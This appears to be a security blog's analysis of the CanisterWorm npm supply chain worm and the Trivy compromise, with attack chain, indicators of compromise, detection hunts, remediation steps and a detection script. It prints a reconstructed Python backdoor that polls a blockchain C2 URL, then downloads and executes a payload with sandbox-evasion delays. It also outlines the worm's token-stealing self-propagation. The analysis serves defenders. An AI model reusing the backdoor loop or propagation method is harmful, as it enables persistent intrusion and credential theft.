What Is CanisterWorm?
The first npm supply chain worm with a decentralized, blockchain-based command-and-control server
CanisterWorm is a self-propagating malware that infected 64+ npm packages in March 2026. Named by Aikido Security and Socket.dev, it’s notable for two historic firsts: it’s the first publicly documented npm worm to use an ICP (Internet Computer Protocol) blockchain canister as its command-and-control infrastructure, and it’s one of the first supply chain worms in the npm ecosystem that actively and autonomously replicated itself without human intervention.
The name comes from its defining technical trait: the malware’s Python backdoor polls an ICP canister - a tamper-proof smart contract deployed on the Internet Computer blockchain - to retrieve its C2 server URL. Because ICP is a decentralized blockchain network with no single controlling host, this C2 infrastructure cannot be taken down through a conventional hosting provider takedown request, domain seizure, or court order. This makes CanisterWorm far more resilient than traditional supply chain malware.
The attack was first detected by Aikido Security on March 20, 2026 at 20:45 UTC, when their systems flagged an unusual pattern: dozens of npm packages across multiple organizations were simultaneously receiving unauthorized patch-version updates containing identical hidden malicious code. By March 21, the attack had expanded to 135 malicious package artifacts across more than 64 unique packages.
🔬 Researcher Quote - Charlie Eriksen, Aikido Security "This is the point where the attack goes from 'compromised account publishes malware' to 'malware compromises more accounts and publishes itself.' Every developer or CI pipeline that installs this package and has an npm token accessible becomes an unwitting propagation vector. Their packages get infected, their downstream users install those, and if any of them have tokens, the cycle repeats."
CanisterWorm represents an escalation over all prior npm supply chain attacks. Previous attacks like ua-parser-js (2021) and event-stream (2018) were static: one package compromised, a fixed blast radius. CanisterWorm is dynamic - it actively seeks new hosts and propagates autonomously through the developer credential graph, turning every infected developer into an involuntary attack vector.
How It Started - The Trivy Supply Chain Attack
CanisterWorm didn’t begin in npm. It was seeded by a devastating attack on Trivy, Aqua Security’s widely-used open-source vulnerability scanner
CanisterWorm’s origin story is a case study in cascading supply chain failure. The credentials that seeded the initial infection wave weren’t stolen from npm - they were harvested hours earlier through a high-impact compromise of Trivy, the open-source vulnerability scanner by Aqua Security with over 33,000 GitHub stars used by thousands of organizations in their CI/CD pipelines.
The threat actor group TeamPCP exploited a critical GitHub Actions misconfiguration: a pull_request_target workflow that exposed a Personal Access Token (PAT). Using that stolen token, the attacker:
- Force-pushed malicious commits over
75 of 76version tags onaquasecurity/trivy-action - Force-pushed malicious commits over
7 tags onaquasecurity/setup-trivy - Replaced legitimate releases with Trivy v0.69.4, a credential-harvesting trojan disguised as a security scanner
- Published malicious versions of
trivy,trivy-action, andsetup-trivyto Docker Hub (versions 0.69.5 and 0.69.6 followed) - Compromised the
aqua-botservice account to push malicious workflows totfsec,traceeshark, andtrivy-action - Exfiltrated GPG keys and credentials for Docker Hub, Twitter, and Slack via a Cloudflare Tunnel C2
The malicious Trivy binary operated in three stages: enumerate secrets from the CI/CD environment and filesystem, encrypt them with AES-256 + RSA-4096, and silently exfiltrate them. The stealer was internally described as "TeamPCP Cloud stealer" and dumped Runner.Worker process memory while harvesting SSH keys, cloud credentials, and Kubernetes secrets. As a fallback, the malware created a repository named tpcp-docs in the victim’s GitHub account to store exfiltrated data.
The Irony Trivy is a security scanner. Organizations ran it in their pipelines specifically to detect supply chain attacks and vulnerabilities. On March 19-21, 2026, every organization that ran Trivy against their codebase was unknowingly running a credential harvester. The tool that was supposed to protect them became the attack vector.
The npm tokens collected from those thousands of compromised CI/CD pipelines directly seeded the first wave of CanisterWorm infections. TeamPCP used those stolen credentials to authenticate as legitimate package maintainers and begin publishing malicious versions of packages they didn’t own.
The Complete Attack Chain
From Trivy compromise to blockchain-backed persistent backdoor on developer machines worldwide
1. GitHub Actions Exploitation (March 19, 2026)
TeamPCP exploits a pull_request_target misconfiguration to steal a PAT from the Trivy repository. This single token grants write access to force-push all version tags in the repository - replacing 75 legitimate releases with malicious ones in a single operation.
Initial Access GitHub Actions
2. Credential Harvesting via Malicious Trivy
Every CI/CD pipeline that runs trivy-action or setup-trivy now executes the malicious version. The payload enumerates all secrets in the environment: cloud credentials (AWS, GCP, Azure), npm tokens, SSH keys, Kubernetes configs, and GitHub tokens. All are AES-256 encrypted and exfiltrated.
Credential Theft Data Exfiltration
3. npm Package Poisoning (March 20, 20:45 UTC)
TeamPCP uses the harvested npm tokens to authenticate as legitimate maintainers and publishes malicious patch versions of packages they don’t own. The malicious packages retain original names, READMEs, and metadata - only the actual code is replaced. The malware is hidden inside a postinstall lifecycle hook in package.json.
Supply ChainPoisoning npm Registry
4. Postinstall Hook Execution
When any developer or CI pipeline installs the compromised package, npm automatically runs the postinstall script. This script acts as a loader - it writes a Python backdoor to disk, installs it as a systemd --user service for persistence, and starts it. The entire installation appears normal. No errors are shown. The hook is wrapped in a try/catch block so failures are silent.
postinstall Hook Dropper
5. Python Backdoor Installation + systemd Persistence
The Python backdoor is installed as a systemd --user service named “pgmon” (masquerading as PostgreSQL tooling). The service uses Restart=always with a 5-second restart delay, surviving reboots and process kills. All artifacts are named to blend in: pgmon, pglog, .pg_state.
Persistence systemd Linux Only
6.ICP Blockchain C2 Polling
The backdoor polls an ICP canister every ~50 minutes with a spoofed browser User-Agent. The canister returns a plain-text URL pointing to the next-stage payload binary. The URL is saved to /tmp/.pg_state so the same payload isn’t re-downloaded. If the URL contains youtube.com, it’s skipped (dormant/kill-switch state). If it returns a real binary URL, the binary is downloaded to /tmp/pglog and executed.
ICP Blockchain C2 Sandbox Evasion
7. Self-Propagation (Wave 4 - The Worm Phase)
The final evolution. The postinstall script runs a findNpmTokens() function that scrapes all npm authentication tokens from the victim’s machine (.npmrc files, environment variables). It then launches deploy.js as a fully detached background process, which uses the stolen tokens to publish malicious versions of every package the victim has publish rights to - without any further human action. The worm spreads itself.
Self-Propagation Credential Abuse Worm
The Four Waves of CanisterWorm
The attack evolved rapidly across 4 waves in under 48 hours - each more sophisticated than the last
Researchers at Socket.dev and Aikido Security documented that CanisterWorm wasn’t deployed all at once. The threat actor iterated rapidly, testing each stage before arming the next. This methodical approach, combined with the use of AI-assisted code generation, allowed TeamPCP to move from initial infection to self-propagating worm in under two days.

Decentralized C2 via ICP Blockchain
The first documented use of an ICP canister for command-and-control - resistant to takedown, seizure, and blocking
The defining innovation of CanisterWorm is its C2 infrastructure. Traditional malware uses web servers or domains for its command-and-control server - these can be taken offline, domain names seized, and IPs blocked. TeamPCP chose a fundamentally different approach: they deployed their C2 on the Internet Computer Protocol (ICP) blockchain.
ICP is a decentralized blockchain network developed by the Dfinity Foundation in Switzerland. A “canister” in ICP terminology is a piece of code deployed on that network that runs autonomously. There is no single company, server, or IP address that hosts it. It cannot be taken down by contacting a hosting provider, getting a court order, or blocking a domain - because it doesn’t have any of those things.

How the ICP Canister Works
The canister (ID: tdtqy-oyaaa-aaaae-af2dq-cai) exposes three methods that researchers discovered:
get_latest_link- Returns the current payload URL in plain text. This is what the backdoor calls every ~50 minutes.http_request- Serves the payload URL to the backdoor’s HTTP-style polling requests.update_link- Allows the canister controller (TeamPCP) to change the URL at any time, rotating to a new payload binary without modifying or republishing any infected npm package.
The backdoor polls this canister with a spoofed browser User-Agent to blend in with regular HTTP traffic. The result is a URL that either points to a real binary payload (armed state) or to a YouTube video (dormant/kill-switch state). As of initial reporting, the canister returned a Rickroll YouTube URL - suggesting the attacker was testing the end-to-end chain before deploying the final payload.
Python - Simplified Backdoor Polling Logic (Reconstructed)
import requests, os, subprocess, time
CANISTER_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io"
STATE_FILE = "/tmp/.pg_state"
PAYLOAD_PATH = "/tmp/pglog"
HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64)..."}
def g():
# Poll ICP canister for current payload URL
r = requests.get(CANISTER_URL, headers=HEADERS)
return r.text.strip()
def e(url):
# Download and execute payload
if "youtube.com" in url: # kill switch - skip if dormant
return
last = open(STATE_FILE).read() if os.path.exists(STATE_FILE) else ""
if url == last: return # don't re-execute same payload
data = requests.get(url).content
open(PAYLOAD_PATH, "wb").write(data)
os.chmod(PAYLOAD_PATH, 0o755)
subprocess.Popen([PAYLOAD_PATH], ...) # detached execution
open(STATE_FILE, "w").write(url)
# Sleep 5 min before first beacon (sandbox evasion)
time.sleep(300)
while True:
try:
e(g()) # fetch URL and execute
except: pass
time.sleep(3000) # poll every ~50 minutes
Evasion Techniques Built Into the Backdoor
- 5-minute sleep before first beacon - Most automated malware sandboxes time out in under 5 minutes. This simple delay defeats most dynamic analysis.
- 50-minute polling interval - Low-frequency polling is difficult to distinguish from normal HTTP traffic in logs.
- Browser User-Agent spoofing - Network traffic appears to come from a regular web browser.
- State tracking via /tmp/.pg_state - Avoids re-executing the same payload on every poll.
- PostgreSQL masquerade - All artifacts named
pgmon,pglog,.pg_stateto blend in on developer machines. - Silent failure - Entire postinstall wrapped in
try/catch;npm installsucceeds normally on all platforms. Backdoor only activates on Linux with systemd.
Affected npm Packages
As of March 21, 2026 - 135+ malicious artifacts across 64+ packages
The attack targeted real, long-standing npm packages from legitimate organizations. The malicious versions retained all original trust signals - package names, version numbers, and in many cases the original READMEs - but replaced the actual SDK functionality with the malware kit.

⚠ These Are Just The Known Packages The packages listed above are those confirmed by security researchers. The worm's self-propagating nature means any developer or CI system with npm publish access that installed a compromised package may have had their own packages silently poisoned. The true number of affected packages may be significantly higher than what has been publicly catalogued.
Indicators of Compromise
Use these to hunt for CanisterWorm activity in your environment

File Hashes - Four Waves

Detection Hunts
- Search for network traffic to
icp0.iodomains from CI/CD runners or developer machines - Look for systemd user services named
pgmonon Linux developer workstations - Check for files at
/tmp/pglogor/tmp/.pg_state - Search GitHub organizations for repositories named
tpcp-docs- this indicates successful exfiltration via the fallback mechanism - Review npm publish logs for
unauthorized package releases between March 19-22, 2026 - Look for
Python processes polling external URLsat low frequency (~50 minute intervals) - Check container registries for Trivy images tagged 0.69.4, 0.69.5, or 0.69.6
Threat Actor: TeamPCP
A cloud-focused cybercriminal operation with demonstrated cross-platform capability and AI-assisted development
Security researchers at Wiz, Mend.io, Aikido Security, and Socket.dev have attributed both the Trivy compromise and the CanisterWorm campaign to a threat actor group called TeamPCP. The name comes from the malware’s own self-description: the credential stealer embedded in the malicious Trivy binary was internally labeled "TeamPCP Cloud stealer."
Based on researcher analysis, TeamPCP has the following characteristics:

💡 AI-Assisted Threat Development Multiple researchers assessed that CanisterWorm's code was generated with AI assistance. The code makes no attempt to conceal its functionality - it is written clearly and explicitly, prioritizing speed of development and spread over stealth. This represents a new paradigm: threat actors using AI coding assistants to rapidly develop and iterate on sophisticated supply chain malware.
Connection to GlassWorm
In the same March 2026 timeframe, researchers also documented a related campaign called GlassWorm, which struck more than 430 GitHub projects. GlassWorm uses the Solana cryptocurrency blockchain for C2 memos, uses invisible Unicode characters to embed JavaScript code, and downloads an infostealer targeting browser-based cryptocurrency wallet extensions, credentials, SSH keys, and session tokens. Security researchers believe the same threat actor may be behind both campaigns, based on behavioral overlap and similar geofencing characteristics.
Complete Incident Timeline
March 19-22, 2026 - How the attack unfolded hour by hour

What To Do Right Now
Prioritized response steps if you may have been affected
🚨 Assume Compromise If Any Of These Are True. You used Trivy v0.69.4, 0.69.5, or 0.69.6 / You used trivy-action between March 19-21, 2026 / You used setup-trivy between March 19-21, 2026 / You installed any npm package from @emilgroup, @opengov, @teale.io, or @airtm between March 19-22, 2026
Immediate Actions (Do These First)
-
Rotate ALL credentials that were accessible in your CI/CD environment: npm tokens, GitHub PATs, cloud credentials (AWS/GCP/Azure), SSH keys, Kubernetes configs, Docker Hub credentials. All of them, immediately.
-
Search your GitHub organizations for repositories named
tpcp-docs- their existence indicates successful credential exfiltration via the fallback mechanism. -
Audit your npm publish history between March 19-22, 2026. Look for package versions you did not publish. If found, unpublish immediately and publish a clean version.
-
Purge all Trivy v0.69.4, 0.69.5, and 0.69.6 artifacts from container registries, build caches, and local systems. Pull the verified safe release from Aqua Security’s GitHub.
-
On Linux developer machines and CI runners: check for
pgmonsystemd services (systemctl --user list units | grep pgmon), files at/tmp/pglog
Short-Term Hardening
-
Disable automatic script execution in npm globally:
npm config set ignore-scripts true. The entire CanisterWorm attack chain depends on the postinstall hook running silently. -
Pin GitHub Actions to full commit SHAs, not version tags. Tags can be force-pushed to point at malicious commits - as this attack demonstrated at scale. Example:
uses: aquasecurity/trivy-action@SHA_HASHinstead ofuses: aquasecurity/trivy-action@v0.20.0. -
Use
package-lock.jsonornpm-shrinkwrap.jsonwith integrity hashes locked. This ensures the exact same code is downloaded across all environments. -
Scope npm tokens to the minimum required permissions. A CI/CD pipeline that only needs to install packages shouldn’t have tokens with publish rights.
-
Implement network egress monitoring on CI/CD runners. Flag outbound connections to ICP/blockchain infrastructure (*.icp0.io), unusual Python processes making periodic HTTP requests, and low-frequency polling patterns.
Long-Term Hardening
-
Adopt dependency review tools that flag suspicious postinstall scripts, new maintainers, and unexpected code additions in patch versions. Socket.dev, Endor Labs, and Mend.io all provide this capability.
-
Review all packages before introduction using
npm packto inspect contents, or tools likenpqor Socket Security’s scanner. -
Implement zero-trust principles for build pipelines: each pipeline should have minimal credentials, least-privilege service accounts, and ephemeral tokens that expire immediately after use.
Bash - Detection Script (Run on Linux developer machines)
#!/bin/bash
# CanisterWorm Detection Script - mrcloudbook.com
echo "=== Checking for CanisterWorm indicators ==="
# 1. Check for pgmon systemd service
if systemctl --user list-units 2>/dev/null | grep -q pgmon; then
echo "[ALERT] pgmon systemd service found!"
systemctl --user status pgmon
fi
# 2. Check for backdoor artifacts
for f in /tmp/pglog /tmp/.pg_state; do
[ -f "$f" ] && echo "[ALERT] Suspicious file found: $f"
done
# 3. Check for tpcp-docs repo (GitHub CLI required)
if command -v gh &>/dev/null; then
gh repo list --json name 2>/dev/null | grep -q tpcp-docs \
&& echo "[CRITICAL] tpcp-docs repo found - exfiltration occurred!"
fi
# 4. Check for ICP traffic in recent logs
grep -r "icp0.io" /var/log/ 2>/dev/null | head -5
# 5. Check npm token locations
echo "--- Checking for exposed npm tokens ---"
[ -f ~/.npmrc ] && grep -q "_authToken" ~/.npmrc \
&& echo "[WARN] npm auth token found in ~/.npmrc - rotate immediately"
echo "=== Scan complete ==="
Why This Attack Matters
CanisterWorm represents a meaningful escalation in the sophistication and resilience of supply chain attacks
Software supply chain attacks have been accelerating since at least 2020. SolarWinds (2020), Codecov (2021), ua-parser-js (2021), 3CX (2023), XZ Utils (2024) - each incident raised the bar. CanisterWorm raises it again, in several important ways.
What’s New and Significant
-
Self-propagation at scale: Previous npm supply chain attacks had a fixed blast radius determined by the popularity of the compromised package. CanisterWorm’s blast radius is dynamic - it grows exponentially with every new developer infected and every new set of credentials harvested.
-
Decentralized C2 that cannot be taken down: Every prior npm supply chain attack could be partially mitigated by taking down the C2 infrastructure. CanisterWorm’s ICP canister is immune to this. Even if every affected package is cleaned up, infected machines will continue polling the canister indefinitely.
-
CI/CD as a credential feeder: The Trivy-to-npm pipeline demonstrates how a single compromised security tool in CI/CD can feed credentials directly into a broader worm campaign. Security tools are now high-value targets precisely because they run with elevated access.
-
AI-assisted threat development: The rapid iteration from Wave 1 to Wave 4 in under 48 hours suggests AI coding tools are lowering the barrier and increasing the speed of sophisticated malware development.
💡 The Precedent This Sets CanisterWorm proves that self-propagating supply chain worms targeting npm are not theoretical - they work in the wild. The technique demonstrated here - steal tokens, use them to publish to all accessible packages, repeat - can be replicated by any threat actor who steals a single npm token with publish rights. The ICP C2 technique is now documented and available for anyone to copy. Expect more campaigns using similar methods.
Connection to the “Shai Hulud” Worm
Security researchers at Endor Labs noted that CanisterWorm represents the continued maturation of a threat model first demonstrated by the “Shai Hulud” worm in 2025 - the first known self-propagating supply chain worm targeting npm. Shai Hulud proved that stolen npm tokens could be immediately weaponized to infect and republish a victim’s own packages. CanisterWorm confirms this is now a recurring technique, not an isolated incident. The worm has evolved from proof-of-concept to an active, iterating, and improving attack methodology.
Sources & Research
Primary research and reporting from security teams who discovered and tracked this attack

Comments (0)
No comments yet. Be the first to share your thoughts.
Leave a comment